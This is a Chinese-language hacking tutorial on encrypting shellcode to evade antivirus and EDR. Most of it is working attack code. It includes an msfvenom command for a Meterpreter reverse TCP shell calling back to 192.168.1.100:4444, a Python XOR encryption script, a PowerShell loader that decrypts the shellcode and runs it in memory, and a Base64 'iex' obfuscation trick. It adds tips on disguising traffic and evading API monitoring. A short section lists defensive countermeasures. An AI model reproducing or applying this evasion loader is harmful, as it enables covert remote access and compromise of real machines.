0x01 Shellcode为何需要加密免杀

Shellcode是渗透测试和攻击过程中不可或缺的核心组件,它通常是攻击者用于执行恶意操作的载荷,包括但不限于获取反向连接、打开后门、提权、横向移动等。然而,现代的EDR(Endpoint Detection and Response)和杀毒软件已经非常擅长检测未加密或未混淆的Shellcode。尤其是基于特征码匹配的检测方法,能够轻松识别公开的或常见的Shellcode。

我们面临的实际问题是:如何让Shellcode逃过检测的眼睛?答案之一就是加密和解密执行。也就是说,在目标系统中执行Shellcode之前,先对它进行加密,在运行时动态解密后再加载执行。通过这种方式,我们可以隐藏Shellcode的真实特征,绕过特征码和行为检测。

接下来,我们将结合技术原理和实战案例,一步步实现一个加密免杀的Shellcode载荷,深入了解它的技术细节和实现过程。

---

0x02 环境搭建与工具准备

黑客示意图

在开始实战之前,我们需要准备基本的环境和工具。这次的实验基于Windows平台,目标是绕过常见的杀毒软件和EDR。

所需工具

  1. Windows测试机(建议版本:Windows 10/11)。
  2. 安装以下工具:
  • Visual Studio Code 或者其他代码编辑器。
  • Python3:用于编写Shellcode加密脚本。
  • PowerShell:用于实现动态解密和执行。
  • Metasploit:用于生成测试Shellcode。
  1. EDR/杀毒测试
  • 安装一款主流杀毒软件(如Windows Defender或第三方杀毒软件)进行免杀测试。
  • 使用Sysmon和Wireshark监控流量和行为。

环境准备

  1. 使用Metasploit生成一个经典的反向TCP连接Shellcode,用于测试加密免杀效果。
  2. 验证目标环境中杀毒软件和EDR是否能够检测未加密的Shellcode,记录检测结果。
  3. 确保安装了Python和PowerShell的运行环境。

一切准备就绪后,我们将从加密Shellcode的构造开始。

---

0x03 Payload构造的艺术

加密免杀的核心思想是对Shellcode进行动态加密和解密。为了实现这一点,我们需要采用以下步骤:

步骤1:生成原始Shellcode

我们先使用Metasploit生成一个反向连接的Shellcode,命令如下:

<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c</code></pre>

生成的Shellcode会以C语言数组的形式输出,类似如下:

<pre><code class="language-c">unsigned char shellcode[] = &quot;\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52...&quot;</code></pre>

这段Shellcode是我们攻击的核心载荷,接下来将对其进行加密处理。

步骤2:编写加密脚本

我们使用Python脚本对上述Shellcode进行简单的XOR加密。以下是完整代码:

<pre><code class="language-python">import random

原始Shellcode(从msfvenom生成并复制)

shellcode = b&quot;\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52...&quot;

随机生成一个加密密钥

key = random.randint(1, 255) print(f&quot;使用的加密密钥: {key}&quot;)

对Shellcode进行XOR加密

encrypted_shellcode = bytearray() for byte in shellcode: encrypted_shellcode.append(byte ^ key)

黑客示意图

将加密后的Shellcode保存到文件

with open(&quot;encrypted_shellcode.bin&quot;, &quot;wb&quot;) as f: f.write(encrypted_shellcode)

print(&quot;加密后的Shellcode已保存到 encrypted_shellcode.bin&quot;)</code></pre>

代码说明:

  • 利用简单的XOR操作对Shellcode进行加密,避免直接暴露原始字节。
  • 随机生成的密钥让加密结果具有不可预测性。
  • 加密后的Shellcode存储在二进制文件中。

步骤3:解密与动态加载

为了让加密后的Shellcode在目标系统中运行,我们需要编写一个解密和加载Shellcode的PowerShell脚本。

以下是解密执行的PowerShell代码:

<pre><code class="language-powershell"># 读取加密后的Shellcode $encryptedShellcode = [System.IO.File]::ReadAllBytes(&quot;encrypted_shellcode.bin&quot;)

黑客示意图

使用与加密时相同的密钥解密

$key = 123 # 假设加密时使用的密钥是123 $decryptedShellcode = @() foreach ($byte in $encryptedShellcode) { $decryptedShellcode += ($byte -bxor $key) }

转换为可执行的Shellcode

$buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($decryptedShellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($decryptedShellcode, 0, $buffer, $decryptedShellcode.Length)

调用Shellcode

$exec = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($buffer, [Action]) $exec.Invoke()</code></pre>

代码说明:

  • PowerShell脚本从文件中读取加密后的Shellcode并解密。
  • 动态加载解密后的Shellcode到内存中执行,避免静态特征暴露。
  • 使用Windows内置的内存管理API完成Shellcode加载和运行。

---

0x04 绕过EDR的技巧分享

在实际测试中,单纯的加密并不足以完全绕过高级EDR,以下是一些额外的技巧:

1. 流量伪装

反向连接通常会引起EDR的异常流量告警。我们可以伪装流量为正常HTTP/HTTPS请求,或者使用DNS隧道化操作。

2. API调用规避

许多EDR会监控常见的内存加载API(如VirtualAlloc和CreateRemoteThread)。可以使用不常见的API函数替代,或者通过直接汇编调用规避检测。

3. 加壳/混淆

将PowerShell代码进一步混淆或加壳,加大分析难度。例如,使用工具将代码编译成二进制可执行文件。

以下是PowerShell代码混淆的一个简单示例:

<pre><code class="language-powershell">$encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($originalCode)) iex ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encoded)))</code></pre>

通过Base64编码和动态解码执行,进一步隐藏代码意图。

---

0x05 检测与对策

黑客示意图

虽然攻击者可以使用加密免杀技术绕过检测,但作为防守方,我们依然有以下对策:

1. 行为监控

即使Shellcode加密后无法被特征码检测,解密和执行的行为依然可以被捕获。例如,Sysmon可以记录PowerShell脚本加载行为。

2. 内存扫描

通过EDR对内存中的可执行代码进行实时扫描,检测异常加载的模块。

3. 流量分析

利用网络流量分析工具,捕获和识别异常的反向连接流量。

---

0x06 个人经验分享

在实战中,Shellcode加密免杀是一项非常有效的技术,但它并不是万能的。攻击者需要结合其他技术(如流量伪装、横向移动),才能真正实现目标。同时,防守方需要不断优化检测规则和监控策略,才能与攻击者形成对抗。

这项技术不仅是一种工具,也是攻击者思维的体现。通过反复构造、测试和改进,我们可以在双方的攻防交锋中寻找最优解。